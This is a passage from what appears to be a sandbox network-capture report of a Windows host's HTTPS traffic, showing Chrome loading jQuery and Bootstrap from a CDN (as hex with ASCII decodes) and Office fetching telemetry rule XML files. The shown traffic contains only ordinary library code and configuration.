n=this;this._activeElement=t(this._element).fin
2025-03-17 16:03:18 UTC	1369	IN	Data Raw: 66 28 21 2f 69 6e 70 75 74 7c 74 65 78 74 61 72 65 61 2f 69 2e 74 65 73 74 28 74 2e 74 61 72 67 65 74 2e 74 61 67 4e 61 6d 65 29 29 73 77 69 74 63 68 28 74 2e 77 68 69 63 68 29 7b 63 61 73 65 20 33 37 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 70 72 65 76 28 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 33 39 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 6e 65 78 74 28 29 7d 7d 2c 43 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 69 74 65 6d 73 3d 74 2e 6d 61 6b 65 41 72 72 61 79 28 74 28 65 29 2e 70 61 72 65 6e 74 28 29 2e 66 69 6e 64 28 79 2e 49 54 45 4d 29 29 2c 74 68 69 73 2e 5f 69 74 65 6d 73 2e 69 6e 64 65 78 4f 66 28 65 29 Data Ascii: f(!/input\|textarea/i.test(t.target.tagName))switch(t.which){case 37:t.preventDefault(),this.prev();break;case 39:t.preventDefault(),this.next()}},C._getItemIndex=function(e){return this._items=t.makeArray(t(e).parent().find(y.ITEM)),this._items.indexOf(e)
2025-03-17 16:03:18 UTC	1369	IN	Data Raw: 6e 74 28 64 2e 53 4c 49 44 2c 7b 72 65 6c 61 74 65 64 54 61 72 67 65 74 3a 63 2c 64 69 72 65 63 74 69 6f 6e 3a 72 2c 66 72 6f 6d 3a 6c 2c 74 6f 3a 5f 7d 29 3b 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 70 29 3f 28 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 73 29 2c 50 2e 72 65 66 6c 6f 77 28 63 29 2c 74 28 61 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 61 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 63 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 69 2b 22 20 22 2b 73 29 2e 61 64 64 43 6c 61 73 73 28 67 29 2c 74 28 61 29 2e 72 65 Data Ascii: nt(d.SLID,{relatedTarget:c,direction:r,from:l,to:_});P.supportsTransitionEnd()&&t(this._element).hasClass(p)?(t(c).addClass(s),P.reflow(c),t(a).addClass(i),t(c).addClass(i),t(a).one(P.TRANSITION_END,function(){t(c).removeClass(i+" "+s).addClass(g),t(a).re
2025-03-17 16:03:18 UTC	1369	IN	Data Raw: 5f 44 41 54 41 5f 41 50 49 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 79 2e 44 41 54 41 5f 52 49 44 45 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 28 74 68 69 73 29 3b 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 65 2c 65 2e 64 61 74 61 28 29 29 7d 29 7d 29 2c 74 2e 66 6e 5b 65 5d 3d 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 74 2e 66 6e 5b 65 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 43 2c 74 2e 66 6e 5b 65 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 2e 66 6e 5b 65 5d 3d 6f 2c 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 43 7d 28 65 29 2c 48 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 22 63 6f 6c 6c 61 70 Data Ascii: _DATA_API,function(){t(y.DATA_RIDE).each(function(){var e=t(this);C._jQueryInterface.call(e,e.data())})}),t.fn[e]=C._jQueryInterface,t.fn[e].Constructor=C,t.fn[e].noConflict=function(){return t.fn[e]=o,C._jQueryInterface},C}(e),H=function(t){var e="collap

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.17	49748	151.101.130.137	443	3020	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:18 UTC	609	OUT	GET /jquery-3.2.1.slim.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive Origin: null sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 16:03:18 UTC	612	IN	HTTP/1.1 200 OK Connection: close Content-Length: 69597 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-10fdd" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 2887224 Date: Mon, 17 Mar 2025 16:03:18 GMT X-Served-By: cache-lga21984-LGA, cache-nyc-kteb1890089-NYC X-Cache: HIT, HIT X-Cache-Hits: 903, 0 X-Timer: S1742227399.922670,VS0,VE1 Vary: Accept-Encoding
2025-03-17 16:03:18 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 32 2e 31 20 2d 61 6a 61 78 2c 2d 61 6a 61 78 2f 6a 73 6f 6e 70 2c 2d 61 6a 61 78 2f 6c 6f 61 64 2c 2d 61 6a 61 78 2f 70 61 72 73 65 58 4d 4c 2c 2d 61 6a 61 78 2f 73 63 72 69 70 74 2c 2d 61 6a 61 78 2f 76 61 72 2f 6c 6f 63 61 74 69 6f 6e 2c 2d 61 6a 61 78 2f 76 61 72 2f 6e 6f 6e 63 65 2c 2d 61 6a 61 78 2f 76 61 72 2f 72 71 75 65 72 79 2c 2d 61 6a 61 78 2f 78 68 72 2c 2d 6d 61 6e 69 70 75 6c 61 74 69 6f 6e 2f 5f 65 76 61 6c 55 72 6c 2c 2d 65 76 65 6e 74 2f 61 6a 61 78 2c 2d 65 66 66 65 63 74 73 2c 2d 65 66 66 65 63 74 73 2f 54 77 65 65 6e 2c 2d 65 66 66 65 63 74 73 2f 61 6e 69 6d 61 74 65 64 53 65 6c 65 63 74 6f 72 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e Data Ascii: /*! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other con
2025-03-17 16:03:18 UTC	1378	IN	Data Raw: 5b 61 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 72 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 61 29 3b 72 65 74 75 72 6e 20 62 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 62 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 72 2e 65 61 63 68 28 74 68 69 73 2c 61 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 72 2e 6d 61 70 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 72 65 74 75 72 6e 20 61 2e 63 61 6c 6c 28 62 2c 63 2c 62 29 7d 29 29 7d 2c 73 6c 69 63 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 Data Ascii: [a]},pushStack:function(a){var b=r.merge(this.constructor(),a);return b.prevObject=this,b},each:function(a){return r.each(this,a)},map:function(a){return this.pushStack(r.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushSta
2025-03-17 16:03:18 UTC	1378	IN	Data Raw: 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6b 2e 63 61 6c 6c 28 61 29 29 26 26 28 21 28 62 3d 65 28 61 29 29 7c 7c 28 63 3d 6c 2e 63 61 6c 6c 28 62 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 62 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 63 26 26 6d 2e 63 61 6c 6c 28 63 29 3d 3d 3d 6e 29 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3b 66 6f 72 28 62 20 69 6e 20 61 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 74 79 70 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 61 3f 61 2b 22 22 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 61 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 Data Ascii: ject Object]"!==k.call(a))&&(!(b=e(a))\|\|(c=l.call(b,"constructor")&&b.constructor,"function"==typeof c&&m.call(c)===n))},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},type:function(a){return null==a?a+"":"object"==typeof a\|\|"function"==typ
2025-03-17 16:03:18 UTC	1378	IN	Data Raw: 6e 6f 77 2c 73 75 70 70 6f 72 74 3a 6f 7d 29 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 28 72 2e 66 6e 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3d 63 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 29 2c 72 2e 65 61 63 68 28 22 42 6f 6f 6c 65 61 6e 20 4e 75 6d 62 65 72 20 53 74 72 69 6e 67 20 46 75 6e 63 74 69 6f 6e 20 41 72 72 61 79 20 44 61 74 65 20 52 65 67 45 78 70 20 4f 62 6a 65 63 74 20 45 72 72 6f 72 20 53 79 6d 62 6f 6c 22 2e 73 70 6c 69 74 28 22 20 22 29 2c 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 6a 5b 22 5b 6f 62 6a 65 63 74 20 22 2b 62 2b 22 5d 22 5d 3d 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 77 28 61 29 7b 76 61 72 20 62 3d 21 21 61 26 26 22 6c 65 Data Ascii: now,support:o}),"function"==typeof Symbol&&(r.fn[Symbol.iterator]=c[Symbol.iterator]),r.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(a,b){j["[object "+b+"]"]=b.toLowerCase()});function w(a){var b=!!a&&"le
2025-03-17 16:03:18 UTC	1378	IN	Data Raw: 22 29 22 29 2c 43 4c 41 53 53 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 5c 5c 2e 28 22 2b 4c 2b 22 29 22 29 2c 54 41 47 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 28 22 2b 4c 2b 22 7c 5b 2a 5d 29 22 29 2c 41 54 54 52 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4d 29 2c 50 53 45 55 44 4f 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4e 29 2c 43 48 49 4c 44 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 3a 28 6f 6e 6c 79 7c 66 69 72 73 74 7c 6c 61 73 74 7c 6e 74 68 7c 6e 74 68 2d 6c 61 73 74 29 2d 28 63 68 69 6c 64 7c 6f 66 2d 74 79 70 65 29 28 3f 3a 5c 5c 28 22 2b 4b 2b 22 2a 28 65 76 65 6e 7c 6f 64 64 7c 28 28 5b 2b 2d 5d 7c 29 28 5c 5c 64 2a 29 6e 7c 29 22 2b 4b 2b 22 2a 28 3f 3a 28 5b 2b 2d 5d 7c 29 22 2b 4b 2b 22 2a 28 5c 5c 64 2b 29 7c 29 29 22 2b 4b Data Ascii: ")"),CLASS:new RegExp("^\\.("+L+")"),TAG:new RegExp("^("+L+"\|[])"),ATTR:new RegExp("^"+M),PSEUDO:new RegExp("^"+N),CHILD:new RegExp("^:(only\|first\|last\|nth\|nth-last)-(child\|of-type)(?:\\("+K+"(even\|odd\|(([+-]\|)(\\d)n\|)"+K+"(?:([+-]\|)"+K+"*(\\d+)\|))"+K
2025-03-17 16:03:18 UTC	1378	IN	Data Raw: 3d 3d 77 26 26 31 31 21 3d 3d 77 29 72 65 74 75 72 6e 20 64 3b 69 66 28 21 65 26 26 28 28 62 3f 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 62 3a 76 29 21 3d 3d 6e 26 26 6d 28 62 29 2c 62 3d 62 7c 7c 6e 2c 70 29 29 7b 69 66 28 31 31 21 3d 3d 77 26 26 28 6c 3d 5a 2e 65 78 65 63 28 61 29 29 29 69 66 28 66 3d 6c 5b 31 5d 29 7b 69 66 28 39 3d 3d 3d 77 29 7b 69 66 28 21 28 6a 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 29 29 72 65 74 75 72 6e 20 64 3b 69 66 28 6a 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 64 2e 70 75 73 68 28 6a 29 2c 64 7d 65 6c 73 65 20 69 66 28 73 26 26 28 6a 3d 73 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 29 26 26 74 28 62 2c 6a 29 26 26 6a 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 64 2e 70 75 73 68 Data Ascii: ==w&&11!==w)return d;if(!e&&((b?b.ownerDocument\|\|b:v)!==n&&m(b),b=b\|\|n,p)){if(11!==w&&(l=Z.exec(a)))if(f=l[1]){if(9===w){if(!(j=b.getElementById(f)))return d;if(j.id===f)return d.push(j),d}else if(s&&(j=s.getElementById(f))&&t(b,j)&&j.id===f)return d.push
2025-03-17 16:03:18 UTC	1378	IN	Data Raw: 20 6d 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 22 69 6e 70 75 74 22 3d 3d 3d 63 26 26 62 2e 74 79 70 65 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 6e 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 28 22 69 6e 70 75 74 22 3d 3d 3d 63 7c 7c 22 62 75 74 74 6f 6e 22 3d 3d 3d 63 29 26 26 62 2e 74 79 70 65 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 6f 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 22 66 6f 72 6d 22 69 6e 20 62 3f 62 2e 70 61 Data Ascii: ma(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function na(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c\|\|"button"===c)&&b.type===a}}function oa(a){return function(b){return"form"in b?b.pa
2025-03-17 16:03:18 UTC	1378	IN	Data Raw: 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 7c 7c 21 6e 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 28 75 29 2e 6c 65 6e 67 74 68 7d 29 2c 63 2e 67 65 74 42 79 49 64 3f 28 64 2e 66 69 6c 74 65 72 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 2e 72 65 70 6c 61 63 65 28 5f 2c 61 61 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 3d 3d 3d 62 7d 7d 2c 64 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 70 29 7b 76 61 72 20 63 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 61 29 Data Ascii: getElementsByName\|\|!n.getElementsByName(u).length}),c.getById?(d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){return a.getAttribute("id")===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a)
2025-03-17 16:03:18 UTC	1378	IN	Data Raw: 2e 70 75 73 68 28 22 5b 2a 5e 24 5d 3d 22 2b 4b 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 73 65 6c 65 63 74 65 64 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 5c 5c 5b 22 2b 4b 2b 22 2a 28 3f 3a 76 61 6c 75 65 7c 22 2b 4a 2b 22 29 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 69 64 7e 3d 22 2b 75 2b 22 2d 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 7e 3d 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 75 2b 22 2b 2a 22 29 2e Data Ascii: .push("[^$]="+K+"(?:''\|\"\")"),a.querySelectorAll("[selected]").length\|\|q.push("\\["+K+"(?:value\|"+J+")"),a.querySelectorAll("[id~="+u+"-]").length\|\|q.push("~="),a.querySelectorAll(":checked").length\|\|q.push(":checked"),a.querySelectorAll("a#"+u+"+").
2025-03-17 16:03:18 UTC	1378	IN	Data Raw: 65 29 69 66 28 62 3d 3d 3d 61 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 42 3d 62 3f 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 61 3d 3d 3d 62 29 72 65 74 75 72 6e 20 6c 3d 21 30 2c 30 3b 76 61 72 20 64 3d 21 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 62 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 64 3f 64 3a 28 64 3d 28 61 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 61 29 3d 3d 3d 28 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 62 29 3f 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 62 29 3a 31 2c 31 26 64 7c 7c 21 63 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 62 2e 63 6f 6d 70 61 72 65 44 6f 63 75 Data Ascii: e)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument\|\|a)===(b.ownerDocument\|\|b)?a.compareDocumentPosition(b):1,1&d\|\|!c.sortDetached&&b.compareDocu

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.17	49742	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:19 UTC	199	OUT	GET /rules/rule700300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-17 16:03:19 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:19 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB30DF54" x-ms-request-id: f20f3a7c-901e-007b-6c51-97ac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T160319Z-186895dd8bdvl5lbhC1EWRmxds000000080000000000dhb8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2025-03-17 16:03:19 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 43 68 61 72 74 69 6e 67 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 43 68 61 72 74 69 6e 67 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Charting" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenCharting" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.17	49747	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:19 UTC	199	OUT	GET /rules/rule702001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-17 16:03:19 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:19 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB7EA38B" x-ms-request-id: 85663d92-b01e-0070-3544-971cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T160319Z-186895dd8bd77tnghC1EWRfgvg00000003y000000000hwct x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2025-03-17 16:03:19 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 43 61 6e 76 61 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 43 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Canvas.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenCan

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.17	49753	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:19 UTC	199	OUT	GET /rules/rule702601v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-17 16:03:19 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:19 GMT Content-Type: text/xml Content-Length: 1409 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:52 GMT ETag: "0x8DC582BE4B338DC" x-ms-request-id: b022bac7-901e-0083-0451-97bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T160319Z-186895dd8bdsg5dkhC1EWR1ben000000024g00000000cpc6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2025-03-17 16:03:19 UTC	1409	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 36 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 41 75 74 6f 54 65 6d 70 6c 61 74 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702601" V="1" DC="SM" EN="Office.Telemetry.Event.Office.AutoTemplate.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTo

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.17	49754	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:19 UTC	199	OUT	GET /rules/rule702000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
